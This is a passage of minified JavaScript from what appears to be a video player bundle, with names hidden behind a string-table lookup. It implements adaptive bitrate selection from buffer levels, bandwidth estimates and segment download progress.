0!==h?h:0)>0,b=!!n[r[131]]&&p>1.5*n[r[131]];return!(w||!b)&&!function(n){return!!a[r[142]](n)&&n[r[141]]>=.9*n[r[143]]}(n)&&this[r[40]][r[126]](n,t)},n[r[6]][r[132]]=function(){this[r[40]][r[132]]()},n[r[6]][r[133]]=function(n){this[r[40]][r[133]](u({timestamp:Date[r[134]]()},n))},n[r[6]][r[135]]=function(){this[r[40]][r[135]]()},n[r[6]][r[136]]=function(){var n;this[r[135]]();this[r[40]][r[136]]();this[r[80]]();null===(n=this[r[74]])||void 0===n||n[r[4]](this)},n[r[6]][r[137]]=function(n,t){var i,u,e;return t?f[r[138]](t,n):(i=this[r[36]](),i)?f[r[138]](i,n):(u=this[r[72]](this[r[69]]()),this[r[61]](u)&&(e=this[r[66]](this[r[68]],u),e))?f[r[138]](e[r[82]],n):f[r[138]](this[r[40]][r[139]](),n)},n}();t[r[31]]=tt},95092:function(n,t,i){Object[r[9]](t,r[8],{value:!0});t[r[44]]=void 0;var u=i(25226),f=i(24892),e=i(68989),o=i(1932),s=i(74828),h=i(57038);t[r[44]]=function(n,t,i,c){var l=i[r[41]],a=i[r[42]];return void 0===c&&(c=u[r[145]][r[144]]),n[r[116]][r[13]](r[146][r[122]](c)),c===u[r[145]][r[147]]?new s[r[148]](n,t):c===u[r[145]][r[149]]?new h[r[150]](n,t):c===u[r[145]][r[144]]?new o[r[151]](n,t):c===u[r[145]][r[152]]?new f[r[153]](n,t):new e[r[154]](n,t,l||0,a||1/0)}},10073:function(n,t,i){t[r[155]]=void 0;var u=i(79814),f=i(54838),e=i(67014),o=function(){function n(n){this[r[32]]=n;this[r[156]]=new Map}return n[r[6]][r[157]]=function(n){if(n){if(!this[r[156]][r[158]](n)){var t=function(n,t){var i={minBitrate:0,maxBitrate:1/0};return u[r[168]][r[167]](n)?(i[r[41]]=Number(t[r[173]])||i[r[41]],i[r[42]]=Number(t[r[174]])||i[r[42]]):u[r[168]][r[175]](n)&&(i[r[41]]=Number(t[r[176]])||i[r[41]],i[r[42]]=Number(t[r[177]])||i[r[42]]),i}(n,this[r[32]][r[159]]);this[r[156]][r[160]](n,new e[r[31]](this[r[32]],n,t))}return this[r[156]][r[53]](n)}},n[r[6]][r[161]]=function(n,t,i){var u,f;return void 0===t&&(t={}),null!==(f=null===(u=this[r[157]](n))||void 0===u?void 0:u[r[64]](t,i))&&void 0!==f?f:void 0},n[r[6]][r[162]]=function(n,t,i){var u,f;return void 0===t&&(t={}),null!==(f=null===(u=this[r[157]](n))||void 0===u?void 0:u[r[62]](t,i))&&void 0!==f?f:void 0},n[r[6]][r[65]]=function(n){var t,i;return null===(i=null===(t=this[r[157]](n))||void 0===t?void 0:t[r[65]]())||void 0===i||i},n[r[6]][r[126]]=function(n,t,i){var u,f;return null!==(f=null===(u=this[r[157]](n))||void 0===u?void 0:u[r[126]](t,i))&&void 0!==f&&f},n[r[6]][r[137]]=function(n,t){var i=this[r[163]](),u=null,e;return i||(u=f[r[165]][r[164]](),i=this[r[157]](u)),e=null==i?void 0:i[r[137]](n,t),u&&this[r[166]](u),e||n[0]},n[r[6]][r[163]]=function(){var n=void 0;return this[r[156]][r[169]](function(t,i){n&&!u[r[168]][r[167]](i)||(n=t)}),n},n[r[6]][r[121]]=function(n,t){var i;null===(i=this[r[157]](n))||void 0===i||i[r[121]](t)},n[r[6]][r[124]]=function(n,t){var i;null===(i=this[r[157]](n))||void 0===i||i[r[124]](t)},n[r[6]][r[170]]=function(n){var t,i;return null!==(i=null===(t=this[r[157]](n))||void 0===t?void 0:t[r[125]]())&&void 0!==i?i:null},n[r[6]][r[132]]=function(n){var t;null===(t=this[r[157]](n))||void 0===t||t[r[132]]()},n[r[6]][r[135]]=function(n){var t;null===(t=this[r[157]](n))||void 0===t||t[r[135]]()},n[r[6]][r[133]]=function(n,t){var i;null===(i=this[r[157]](n))||void 0===i||i[r[133]](t)},n[r[6]][r[166]]=function(n){var t;null===(t=this[r[156]][r[53]](n))||void 0===t||t[r[136]]();this[r[156]][r[171]](n)},n[r[6]][r[136]]=function(){this[r[156]][r[169]](function(n){return n[r[136]]()});this[r[156]][r[172]]()},n}();t[r[155]]=o},72583:function(n,t,i){var e=this&&this[r[1]]||function(){return e=Object[r[2]]||function(n){for(var u,i,t=1,f=arguments[r[3]];t<f;t++)for(i in u=arguments[t])Object[r[6]][r[5]][r[4]](u,i)&&(n[i]=u[i]);return n},e[r[7]](this,arguments)};Object[r[9]](t,r[8],{value:!0});t[r[178]]=void 0;var o=i(28819),s=i(79814),h=i(331),c=i(28429),u=i(25050),f=i(55594),l=i(67304),a=function(){function n(n,t){this[r[32]]=n;this[r[33]]=t;this[r[179]]=0;this[r[180]]=[];this[r[181]]=!0;this[r[182]]=!1}return n[r[6]][r[183]]=function(){var n=null,t=this[r[32]][r[103]][r[38]]();return t&&(n=Object[r[186]](o[r[185]](t))[r[184]](s[r[168]][r[167]])),null!=n?n:this[r[33]]},n[r[6]][r[187]]=function(n){n&&(this[r[180]]=n[r[188]](function(n,t){return e(e({},n),{arrayIndex:t})}))},n[r[6]][r[69]]=function(){var n,t=this;return this[r[182]]&&(null===(n=this[r[189]])||void 0===n?void 0:n[r[82]])?this[r[180]][r[86]](function(n){var i=n[r[82]];return t[r[189]]&&i<t[r[189]][r[82]]}):this[r[180]]},n[r[6]][r[58]]=function(n,t){var i,u;return this[r[187]](t),null!==(u=null===(i=c[r[138]](n,this[r[69]]()[r[188]](function(n){return{rep:n,bitrate:Number(n[r[82]])}})))||void 0===i?void 0:i[r[190]])&&void 0!==u?u:this[r[191]]()},n[r[6]][r[192]]=function(n){this[r[181]]&&this[r[193]](n)},n[r[6]][r[191]]=function(){return l[r[194]](this[r[180]],function(n){return n[r[82]]})},n[r[6]][r[193]]=function(n){var t=this,i=this[r[32]][r[196]][r[195]]();this[r[197]]||(this[r[197]]=window[r[201]](function(){t[r[32]][r[116]][r[199]](r[198]);t[r[181]]=!1;t[r[197]]=void 0},h[r[200]](i)));n[r[202]]>=.9*i&&(this[r[32]][r[116]][r[199]](r[203]),clearTimeout(this[r[197]]),this[r[181]]=!1,this[r[197]]=void 0)},n[r[6]][r[204]]=function(n,t,i){return this[r[181]]||!i?this[r[207]](f[r[206]][r[205]]):this[r[209]](t[r[208]],n[r[208]])},n[r[6]][r[210]]=function(n){return this[r[182]]?this[r[179]]:n[r[202]]},n[r[6]][r[209]]=function(n,t){if(this[r[182]])return this[r[212]](f[r[206]][r[211]]);switch(n){case u[r[215]][r[214]]:return this[r[213]](t);case u[r[215]][r[217]]:return this[r[216]](t);case u[r[215]][r[219]]:return this[r[218]](t);default:return this[r[32]][r[116]][r[199]](r[220]),this[r[221]]()}},n[r[6]][r[222]]=function(n){var i,t;return(void 0===n&&(n=f[r[206]][r[223]]),void 0!==(null===(i=this[r[189]])||void 0===i?void 0:i[r[224]])&&this[r[189]][r[224]]>=this[r[180]][r[3]]-1)?this[r[189]]:(t=this[r[207]](n),this[r[189]]&&Number(t[r[82]])<=Number(this[r[189]][r[82]])?this[r[189]]:(this[r[32]][r[116]][r[199]](r[225]+t[r[102]]),t))},n[r[6]][r[212]]=function(n){var i,u,e,o,t;return(void 0===n&&(n=f[r[206]][r[211]]),void 0!==(null===(i=this[r[189]])||void 0===i?void 0:i[r[224]])&&(null===(u=this[r[189]])||void 0===u?void 0:u[r[224]])<1&&null!==(null===(e=this[r[189]])||void 0===e?void 0:e[r[102]]))?(this[r[32]][r[116]][r[199]](this[r[33]]+r[226]),this[r[189]]):(t=this[r[207]](n),this[r[189]]&&(!t||t[r[82]]>=(null===(o=this[r[189]])||void 0===o?void 0:o[r[82]]))?(t=this[r[227]](),this[r[32]][r[116]][r[199]](r[228]+t[r[102]])):this[r[32]][r[116]][r[199]](r[229]+t[r[102]]),t)},n[r[6]][r[230]]=function(){var n;return null!==(n=this[r[189]])&&void 0!==n?n:this[r[191]]()},n[r[6]][r[213]]=function(n){switch(n){case u[r[215]][r[214]]:return this[r[222]](f[r[206]][r[211]]);case u[r[215]][r[217]]:return this[r[222]](f[r[206]][r[231]]);case u[r[215]][r[219]]:return this[r[230]]();default:return this[r[32]][r[116]][r[199]](r[232]),this[r[230]]()}},n[r[6]][r[216]]=function(n){switch(n){case u[r[215]][r[214]]:return this[r[222]](f[r[206]][r[205]]);case u[r[215]][r[217]]:return this[r[230]]();case u[r[215]][r[219]]:return this[r[212]](f[r[206]][r[231]]);default:return this[r[32]][r[116]][r[199]](r[232]),this[r[230]]()}},n[r[6]][r[218]]=function(n){switch(n){case u[r[215]][r[214]]:return this[r[230]]();case u[r[215]][r[217]]:return this[r[212]](f[r[206]][r[231]]);case u[r[215]][r[219]]:return this[r[212]](f[r[206]][r[211]]);default:return this[r[32]][r[116]][r[199]](r[232]),this[r[230]]()}},n[r[6]][r[221]]=function(){var n;return(null===(n=this[r[189]])||void 0===n?void 0:n[r[102]])?this[r[189]]:this[r[191]]()},n[r[6]][r[227]]=function(){var n,t,i=Math[r[109]](0,(null!==(t=null===(n=this[r[189]])||void 0===n?void 0:n[r[224]])&&void 0!==t?t:0)-1);return this[r[180]][i]},n}();t[r[178]]=a},24892:function(n,t,i){var e=this&&this[r[233]]||function(){var n=function(t,i){return n=Object[r[234]]||{__proto__:[]}instanceof Array&&function(n,t){n[r[235]]=t}||function(n,t){for(var i in t)Object[r[6]][r[5]][r[4]](t,i)&&(n[i]=t[i])},n(t,i)};return function(t,i){function u(){this[r[238]]=t}if(r[91]!=typeof i&&null!==i)throw new TypeError(r[236]+String(i)+r[237]);n(t,i);t[r[6]]=null===i?Object[r[11]](i):(u[r[6]]=i[r[6]],new u)}}();Object[r[9]](t,r[8],{value:!0});t[r[153]]=void 0;var f=i(28819),o=i(8272),s=i(72583),h=i(10605),c=i(29374),l=i(75451),u=i(55594),a=function(n){function t(){var t=null!==n&&n[r[7]](this,arguments)||this;return t[r[239]]={},t[r[240]]=0,t[r[126]]=function(){var n,i;return 0!==(null===(n=t[r[189]])||void 0===n?void 0:n[r[224]])&&t[r[161]]()[r[102]]!==(null===(i=t[r[189]])||void 0===i?void 0:i[r[102]])&&(t[r[182]]=!0,!0)},t}return e(t,n),t[r[6]][r[207]]=function(n){void 0===n&&(n=u[r[206]][r[205]]);var t=this[r[239]][r[242]][r[241]](n),i=this[r[32]][r[159]][r[243]]/100,f=t[r[202]]*(1-i);return this[r[58]](f)},t[r[6]][r[133]]=function(n){Object[r[244]](this[r[239]])[r[169]](function(t){return t[r[133]](n)})},t[r[6]][r[245]]=function(n){var t=this[r[212]](u[r[206]][r[211]]);return this[r[32]][r[116]][r[199]](r[246]+this[r[179]]/1024+r[247]+n/1024+r[248]+t[r[102]]),t},t[r[249]]=function(n,t,i,u){var f=parseFloat((i*n/t)[r[250]](2));return u&&(f*=2),1.1*f},t[r[6]][r[251]]=function(n,i,u,f,e){var o=t[r[249]](u,n,i,e);return o<f||o<=u},t[r[6]][r[252]]=function(n,t,i,u){var o,s,h,c,l=null==n?void 0:n[r[253]],y,a,v,f,e;if(l&&null!==(null===(o=this[r[189]])||void 0===o?void 0:o[r[102]])&&(null===(s=this[r[189]])||void 0===s?void 0:s[r[224]])!==t[r[224]]&&(y=Math[r[111]][r[7]](null,this[r[180]][r[188]](function(n){return Number(n[r[82]])})),a=Number(t[r[82]]),!(isFinite(a)&&a===y||this[r[251]](i,t[r[82]],n[r[131]],u,l)))){for(v=!1,f=null!==(h=t[r[224]])&&void 0!==h?h:-1;f>=0;f--)if(e=this[r[180]][f],this[r[251]](i,e[r[82]],n[r[131]],u,l)){this[r[32]][r[116]][r[199]](r[254]+e[r[224]]);t=e;v=!0;break}v||(this[r[32]][r[116]][r[199]](r[255]+(null===(c=this[r[189]])||void 0===c?void 0:c[r[224]])+r[256]+t[r[224]]),t=this[r[221]]())}return t},t[r[6]][r[257]]=function(n){var t,i=this[r[179]]>0&&2*n<=this[r[179]];return i&&(null===(t=this[r[189]])||void 0===t?void 0:t[r[102]])?1.5*n<this[r[189]][r[82]]:i},t[r[6]][r[161]]=function(n){var s,i,l=this[r[32]][r[103]][r[38]](),c;l&&(i=f[r[185]](l));var t,h=this[r[239]][r[258]][r[241]](),a=this[r[239]][r[259]][r[241]](),e=this[r[239]][r[242]][r[241]](1)[r[202]],v=null!=i&&this[r[32]][r[196]][r[195]]()>i[r[261]][r[260]],y=this[r[257]](e);return this[r[192]](h),t=y?this[r[245]](e):this[r[204]](a,h,v),c=f[r[263]](null!=i?i:{},this[r[33]],o[r[105]][r[262]])[r[202]],c>this[r[240]]?(this[r[240]]=c,this[r[212]](u[r[206]][r[264]])):(t=this[r[252]](n,t,e,h[r[202]]),this[r[179]]=e,this[r[182]]&&void 0!==t[r[224]]&&void 0!==(null===(s=this[r[189]])||void 0===s?void 0:s[r[224]])&&t[r[224]]>=this[r[189]][r[224]]&&(t=this[r[227]](),this[r[182]]=!1),t)},t[r[6]][r[62]]=function(n,t){return this[r[187]](t),this[r[161]](n)[r[59]]},t[r[6]][r[64]]=function(n,t){return this[r[187]](t),this[r[189]]=this[r[161]](n),this[r[189]][r[59]]},t[r[6]][r[112]]=function(n){this[r[187]](n[r[71]]);this[r[189]]=this[r[189]]?this[r[58]](this[r[189]][r[82]]):{_id:null,_bandwidth:0,arrayIndex:-1};this[r[265]]=this[r[183]]();this[r[239]][r[259]]=this[r[239]][r[259]]||new c[r[266]](this[r[32]],this[r[265]]);this[r[239]][r[258]]=this[r[239]][r[258]]||l[r[267]](this[r[32]],this[r[265]]);this[r[239]][r[242]]=this[r[239]][r[242]]||new h[r[268]](this[r[32]],this[r[265]])},t[r[6]][r[139]]=function(){return this[r[210]](this[r[239]][r[242]][r[241]]())},t[r[6]][r[69]]=function(){return this[r[180]]},t[r[6]][r[132]]=function(){this[r[181]]=!0;clearTimeout(this[r[197]]);this[r[197]]=void 0;Object[r[244]](this[r[239]])[r[169]](function(n){return n[r[132]]()})},t[r[6]][r[135]]=function(){clearTimeout(this[r[197]]);this[r[182]]=!1;Object[r[244]](this[r[239]])[r[169]](function(n){return n[r[135]]()})},t[r[6]][r[136]]=function(){this[r[135]]();Object[r[244]](this[r[239]])[r[169]](function(n){return n[r[136]]()});this[r[239]]={};this[r[189]]=void 0;this[r[180]]=[];this[r[265]]=r[269]},t}(s[r[178]]);t[r[153]]=a},68989:function(n,t,i){Object[r[9]](t,r[8],{value:!0});t[r[154]]=void 0;var f=i(79814),u=i(38353),e=function(){function n(n,t,i,u){this[r[32]]=n;this[r[33]]=t;this[r[270]]=i;this[r[271]]=u;this[r[180]]=[];this[r[272]]=f[r[168]][r[273]](this[r[33]]);this[r[274]]={timestamp:Date[r[134]](),bufferLevel:0,bufferTargetLevel:0}}return n[r[6]][r[187]]=function(n){n&&(this[r[180]]=n)},n[r[6]][r[275]]=function(){return u[r[276]](this[r[180]],this[r[270]])},n[r[6]][r[277]]=function(){var n;if(null!==(n=this[r[58]](this[r[271]]))&&void 0!==n)return n[r[82]]},n[r[6]][r[278]]=function(){return this[r[32]][r[196]][r[195]](this[r[272]])},n[r[6]][r[279]]=function(){var n=this[r[275]](),t=this[r[277]]();return this[r[280]]=this[r[278]](),function(n,t,i){var o=[],f,e;0===t&&(t=n);f=2*Math[r[285]](.1*i);e=8*Math[r[285]](.1*i);e<=f&&(e=Math[r[285]](.9*i));f<=1&&(f=1);for(var s=(t-n)/(e-f),h=n-s*f,u=0;u<f;u++)o[u]=n;for(u=f;u<e;u++)o[u]=Math[r[285]](s*u+h);for(u=e;u<=i;u++)o[u]=t;return o}(n,t||n,this[r[280]])},n[r[6]][r[281]]=function(){var n=this[r[278]]();this[r[280]]!==n&&(this[r[282]]=this[r[279]]())},n[r[6]][r[58]]=function(n,t){return this[r[187]](t),u[r[283]](this[r[180]],n)},n[r[6]][r[161]]=function(){var t,i=this[r[278]](),n=this[r[274]][r[284]];return(n=Math[r[285]](n))>i&&(n=i),t=this[r[282]][r[5]](n)?this[r[282]][n]:this[r[282]][0],this[r[58]](t)},n[r[6]][r[62]]=function(n,t){return this[r[187]](t),this[r[161]]()[r[59]]},n[r[6]][r[64]]=function(n,t){this[r[187]](t);var i=this[r[161]]();return this[r[281]](),i[r[59]]},n[r[6]][r[112]]=function(n){this[r[187]](n[r[71]]);this[r[282]]=this[r[279]]()},n[r[6]][r[126]]=function(){return!1},n[r[6]][r[132]]=function(){},n[r[6]][r[135]]=function(){},n[r[6]][r[133]]=function(n){this[r[274]]=n},n[r[6]][r[136]]=function(){this[r[282]]=[]},n[r[6]][r[139]]=function(){return 0},n}();t[r[154]]=e},40210:function(n,t,i){function l(n){var t,i,u,f,e=null!==(i=null===(t=n[r[129]])||void 0===t?void 0:t[r[341]])&&void 0!==i?i:-1,o=null!==(f=null===(u=n[r[129]])||void 0===u?void 0:u[r[342]])&&void 0!==f?f:-1;return e<0||o<0?0:o-e}function s(n){var t,i,u=(null!==(i=null===(t=n[r[129]])||void 0===t?void 0:t[r[342]])&&void 0!==i?i:-1)>-1,f=n[r[141]]>0;return u&&f}function d(n){var t=n?u[r[185]](n):{};return function(n,t){var i=u[r[346]](n,t,f[r[105]][r[298]])[r[345]](-3)[r[188]](function(n){return n[r[202]][r[344]]});return c[r[347]](i,.8)}(t,r[261])+function(n){var t=u[r[346]](n,r[261],f[r[105]][r[348]])[r[345]](-3)[r[188]](function(n){return n[r[202]]});return c[r[347]](t,.8)}(t)}var a=this&&this[r[233]]||function(){var n=function(t,i){return n=Object[r[234]]||{__proto__:[]}instanceof Array&&function(n,t){n[r[235]]=t}||function(n,t){for(var i in t)Object[r[6]][r[5]][r[4]](t,i)&&(n[i]=t[i])},n(t,i)};return function(t,i){function u(){this[r[238]]=t}if(r[91]!=typeof i&&null!==i)throw new TypeError(r[236]+String(i)+r[237]);n(t,i);t[r[6]]=null===i?Object[r[11]](i):(u[r[6]]=i[r[6]],new u)}}();Object[r[9]](t,r[8],{value:!0});t[r[286]]=void 0;var h=i(18665),e=i(25226),u=i(28819),f=i(8272),v=i(70016),y=i(72583),p=i(94077),w=i(78827),c=i(67610),b=i(55594),o=i(67304),k=function(n){function t(t,i){var u=n[r[4]](this,t,i)||this;return u[r[126]]=function(n,t){var i,f,e=null!==(i=n[r[140]])&&void 0!==i?i:-1,c=null===(f=u[r[287]])||void 0===f?void 0:f[r[288]](),a=u[r[289]](),o=function(n){var t,i=null!==(t=n[r[140]])&&void 0!==t?t:-1;return i<0?0:i-l(n)}(n),v=u[r[290]](t),h=s(n),y=h?o>u[r[32]][r[159]][r[291]]:e>u[r[32]][r[159]][r[291]];return!(c||a||v||!y)&&u[r[292]](n,o,h,e)},u[r[265]]=u[r[183]](),u[r[293]]=new w[r[294]](u[r[32]],u[r[265]]),u[r[295]]=new p[r[296]](u[r[32]],u[r[265]]),u}return a(t,n),Object[r[9]](t[r[6]],r[55],{get:function(){return this[r[32]][r[54]][r[53]](h[r[52]][r[56]],this[r[32]][r[50]][r[49]])},enumerable:!1,configurable:!0}),Object[r[9]](t[r[6]],r[287],{get:function(){return this[r[32]][r[54]][r[53]](h[r[52]][r[297]])},enumerable:!1,configurable:!0}),t[r[6]][r[289]]=function(){var n,t=this[r[32]][r[103]][r[38]](),i=t?u[r[299]](t,this[r[33]],f[r[105]][r[298]]):[],e=Boolean(null===(n=this[r[32]][r[43]][r[18]])||void 0===n?void 0:n[r[300]]),o=i[r[86]](function(n){return Boolean(n[r[202]])})[r[3]]>0;return e&&!o},t[r[6]][r[290]]=function(n){return!!n&&this[r[191]]()[r[59]][r[301]](n)},t[r[6]][r[302]]=function(){var n,t,i=[null===(n=this[r[32]][r[93]])||void 0===n?void 0:n[r[304]](),null===(t=this[r[32]][r[93]])||void 0===t?void 0:t[r[305]]()][r[86]](v[r[303]]);return Math[r[111]][r[7]](Math,i)},t[r[6]][r[306]]=function(n){var t;switch(void 0===n&&(n=0),t=0!==n?this[r[293]][r[314]](n,5,.2)[r[202]]:this[r[293]][r[241]](5,.2)[r[202]],function(n){var t,i;return null!==(i=null===(t=n[r[18]])||void 0===t?void 0:t[r[343]])&&void 0!==i?i:e[r[309]][r[310]]}(this[r[32]][r[43]])){case e[r[309]][r[308]]:return t[r[307]];case e[r[309]][r[310]]:default:return t[r[311]]>t[r[312]]?t[r[312]]+t[r[311]]:t[r[313]]}},t[r[6]][r[315]]=function(n,t,i,u,f,e){var s,h,c,l,a,v,y,b=u*t/i+f,k=null!==(h=null===(s=this[r[55]])||void 0===s?void 0:s[r[316]](n))&&void 0!==h&&h,g=!this[r[317]](n),nt=null!==(c=null==e?void 0:e[r[253]])&&void 0!==c&&c,p=null!==(a=null===(l=this[r[55]])||void 0===l?void 0:l[r[66]](n))&&void 0!==a?a:null,tt=Boolean(this[r[189]])&&null!==(null===(v=this[r[189]])||void 0===v?void 0:v[r[102]])&&(null===(y=this[r[189]])||void 0===y?void 0:y[r[224]])!==(null==p?void 0:p[r[224]]),o=b,w;return(nt&&tt&&(o*=2),g&&(o+=f),k)&&(w=d(this[r[32]][r[103]][r[38]]()),o+=Math[r[109]](w,f)),o},t[r[6]][r[251]]=function(n,t,i,u,f,e,o){var s=1-this[r[32]][r[159]][r[318]],c=this[r[32]][r[159]][r[319]]-s,h=this[r[32]][r[196]][r[195]](),l=u*(s+Math[r[111]](o,h)*c/h);return this[r[315]](n,u,t,i,e,{hlsDependentSegments:f})<=l},t[r[6]][r[317]]=function(n){var t,i,e=this[r[32]][r[103]][r[38]](),o=e?u[r[299]](e,this[r[33]],f[r[105]][r[320]]):[];return 0===o[r[3]]?null!==(i=null===(t=this[r[55]])||void 0===t?void 0:t[r[321]]())&&void 0!==i&&i:o[r[128]](function(t){var i=t[r[5]](r[202])&&t[r[202]][r[5]](r[322])?t[r[202]][r[322]]:null;return null!==i&&i[r[301]](n)})},t[r[6]][r[323]]=function(n,t,i){var u=this,f;return void 0===i&&(i=this[r[306]]()),f=this[r[180]][r[86]](function(n){var t;return u[r[189]]&&!n[r[59]][r[301]](null===(t=u[r[189]])||void 0===t?void 0:t[r[59]])}),Math[r[111]][r[7]](Math,f[r[188]](function(f){var e;return u[r[315]](f[r[59]],null!==(e=u[r[324]]?u[r[324]][r[131]]:t)&&void 0!==e?e:0,n,f[r[82]],i,u[r[324]])}))},t[r[6]][r[325]]=function(n){var t,i,u,f,e,o,s=null!==(t=n[r[140]])&&void 0!==t?t:0,h=(null===(i=this[r[326]])||void 0===i?void 0:i[r[327]])===n[r[327]]?(n[r[141]]-(null!==(f=null===(u=this[r[326]])||void 0===u?void 0:u[r[141]])&&void 0!==f?f:0))/(s-(null!==(o=null===(e=this[r[326]])||void 0===e?void 0:e[r[140]])&&void 0!==o?o:0)):-1;return this[r[326]]=n,h},t[r[6]][r[328]]=function(n,t){var i,u=t?l(n):null!==(i=n[r[140]])&&void 0!==i?i:0;return this[r[306]](u)},t[r[6]][r[329]]=function(n){return void 0===n&&(n=4),this[r[189]]?this[r[189]][r[82]]/8*n*1.2:0},t[r[6]][r[330]]=function(n,t){var i=s(n),u=i?this[r[325]](n):0,f=i&&o[r[142]](n)?n[r[143]]-n[r[141]]:this[r[329]](n[r[131]]);return Math[r[111]](f/(t/8),u>0?f/u:1/0)},t[r[6]][r[331]]=function(n,t,i){if(s(n))return n[r[141]]/t*8;var u=this[r[32]][r[196]][r[195]](),f=this[r[295]][r[241]](b[r[206]][r[205]],i/u);return this[r[210]](f)},t[r[6]][r[332]]=function(n,t,i,u,f){var e=this[r[330]](u,i);return e>t&&e>f&&t<=f+n},t[r[6]][r[333]]=function(n,t,i,u){var f=function(n){return n[r[241]](5,.2)[r[202]][r[312]]}(this[r[293]]);return u>Math[r[109]](n,3*f)&&t<=i+n},t[r[6]][r[292]]=function(n,t,i,u){var s,h,c,f=this[r[302]](),e=this[r[331]](n,t,f),y=this[r[328]](n,i),l=null!==(c=null!==(s=n[r[131]])&&void 0!==s?s:null===(h=this[r[324]])||void 0===h?void 0:h[r[131]])&&void 0!==c?c:0,a=this[r[323]](e,l,y),v;return(i?this[r[332]](l,f,e,n,a):this[r[333]](l,f,a,u))?(v=o[r[142]](n)?(n[r[141]]/n[r[143]]*100)[r[250]](1):void 0,this[r[32]][r[116]][r[13]](r[340][r[122]](u[r[250]](2),r[339])[r[122]](o[r[337]](e)[r[250]](2),r[338])[r[122]](f[r[250]](2),r[336])[r[122]](i?r[269][r[122]](v,r[334]):r[335])),this[r[182]]=!0,this[r[179]]=e,!0):!1},t}(y[r[178]]);t[r[286]]=k},1932:function(n,t,i){function f(n,t){return n*(1-t/100)}var e=this&&this[r[233]]||function(){var n=function(t,i){return n=Object[r[234]]||{__proto__:[]}instanceof Array&&function(n,t){n[r[235]]=t}||function(n,t){for(var i in t)Object[r[6]][r[5]][r[4]](t,i)&&(n[i]=t[i])},n(t,i)};return function(t,i){function u(){this[r[238]]=t}if(r[91]!=typeof i&&null!==i)throw new TypeError(r[236]+String(i)+r[237]);n(t,i);t[r[6]]=null===i?Object[r[11]](i):(u[r[6]]=i[r[6]],new u)}}(),u=this&&this[r[1]]||function(){return u=Object[r[2]]||function(n){for(var u,i,t=1,f=arguments[r[3]];t<f;t++)for(i in u=arguments[t])Object[r[6]][r[5]][r[4]](u,i)&&(n[i]=u[i]);return n},u[r[7]](this,arguments)};Object[r[9]](t,r[8],{value:!0});t[r[151]]=void 0;var o=i(58935),s=i(87326),h=i(28819),c=i(40210),l=i(75451),a=i(7745),v=i(55594),y=i(67304),p=function(n){function t(t,i){var u=n[r[4]](this,t,i)||this;return u[r[349]]=new a[r[350]](u[r[32]],u[r[265]]),u[r[351]]=l[r[267]](u[r[32]],u[r[265]]),u}return e(t,n),t[r[6]][r[207]]=function(n){void 0===n&&(n=v[r[206]][r[205]]);var t=this[r[32]][r[196]][r[195]](),i=this[r[351]][r[241]]()[r[202]],u=this[r[295]][r[241]](n,i/t),e=f(this[r[210]](u),this[r[32]][r[159]][r[243]]);return this[r[58]](e)},t[r[6]][r[139]]=function(){return f(this[r[210]](this[r[295]][r[241]]()),this[r[32]][r[159]][r[243]])},t[r[6]][r[133]]=function(n){this[r[349]][r[133]](n);this[r[351]][r[133]](n);this[r[295]][r[133]]();this[r[293]][r[133]]()},t[r[6]][r[352]]=function(n,t,i,u,e){var h=this,o;if(!n[r[131]]||this[r[289]]())return t;if(this[r[324]]=n,o=this[r[180]][r[86]](function(n){return n[r[82]]<=t[r[82]]}),0===o[r[3]])return this[r[180]][0];var c=e[r[202]]||0,l=f(i,this[r[32]][r[159]][r[243]]),s=o[r[86]](function(t){var i;return h[r[251]](t[r[59]],l,t[r[82]],null!==(i=n[r[131]])&&void 0!==i?i:0,!1,u,c)});return 0===s[r[3]]?o[0]:s[s[r[3]]-1]},t[r[6]][r[353]]=function(n,t,i){var u,f;this[r[187]](i);var e=this[r[351]][r[241]](),l=this[r[349]][r[241]](),a=this[r[32]][r[196]][r[195]](),v=this[r[306]]();this[r[192]](e);var c=this[r[32]][r[103]][r[38]](),y=a>(null!==(f=null===(u=(c?h[r[185]](c):{})[r[261]])||void 0===u?void 0:u[r[260]])&&void 0!==f?f:s[r[355]][r[354]]),o=this[r[204]](l,e,y);return t&&(o=this[r[352]](t,o,n,v,e)),o},t[r[6]][r[64]]=function(n,t){var u,f,s=this[r[295]][r[241]](),e=this[r[210]](s),i=this[r[353]](e,n,t);return this[r[189]]&&!this[r[189]][r[59]][r[301]](null==i?void 0:i[r[59]])&&this[r[32]][r[116]][r[358]](o[r[357]][r[356]])&&this[r[32]][r[116]][r[199]](r[365][r[122]](null===(u=this[r[189]])||void 0===u?void 0:u[r[59]][r[120]],r[256])[r[122]](null==i?void 0:i[r[59]][r[120]],r[364])[r[122]](y[r[361]](e)[r[250]](2)+r[362],r[363])[r[122]](this[r[351]][r[241]]()[r[202]][r[250]](2),r[360])[r[122]](this[r[349]][r[241]]()[r[202]][r[250]](2),r[359])),this[r[189]]=i,this[r[179]]=e,this[r[182]]=!1,this[r[326]]=void 0,null===(f=this[r[189]])||void 0===f?void 0:f[r[59]]},t[r[6]][r[62]]=function(n,t){var u=this[r[295]][r[241]](),f=this[r[210]](u),i=this[r[353]](f,n,t);if(null!=i)return i[r[59]]},t[r[6]][r[112]]=function(n){this[r[187]](n[r[71]]);this[r[189]]=this[r[189]]?u({},this[r[58]](this[r[189]][r[82]])):void 0;this[r[265]]=this[r[183]]();this[r[326]]=void 0},t[r[6]][r[132]]=function(){var n,t,i,u;this[r[181]]=!0;clearTimeout(this[r[197]]);this[r[197]]=void 0;null===(n=this[r[349]])||void 0===n||n[r[132]]();null===(t=this[r[351]])||void 0===t||t[r[132]]();null===(i=this[r[295]])||void 0===i||i[r[132]]();null===(u=this[r[293]])||void 0===u||u[r[132]]()},t[r[6]][r[135]]=function(){var n,t,i,u;clearTimeout(this[r[197]]);this[r[182]]=!1;this[r[326]]=void 0;null===(n=this[r[349]])||void 0===n||n[r[135]]();null===(t=this[r[351]])||void 0===t||t[r[135]]();null===(i=this[r[295]])||void 0===i||i[r[135]]();null===(u=this[r[293]])||void 0===u||u[r[135]]()},t[r[6]][r[136]]=function(){var n,t,i,u;this[r[135]]();null===(n=this[r[349]])||void 0===n||n[r[136]]();null===(t=this[r[351]])||void 0===t||t[r[136]]();null===(i=this[r[295]])||void 0===i||i[r[136]]();null===(u=this[r[293]])||void 0===u||u[r[136]]();this[r[189]]=void 0;this[r[180]]=[];this[r[265]]=r[269]},t}(c[r[286]]);t[r[151]]=p},34188:function(n,t,i){Object[r[9]](t,r[8],{value:!0});t[r[366]]=void 0;var 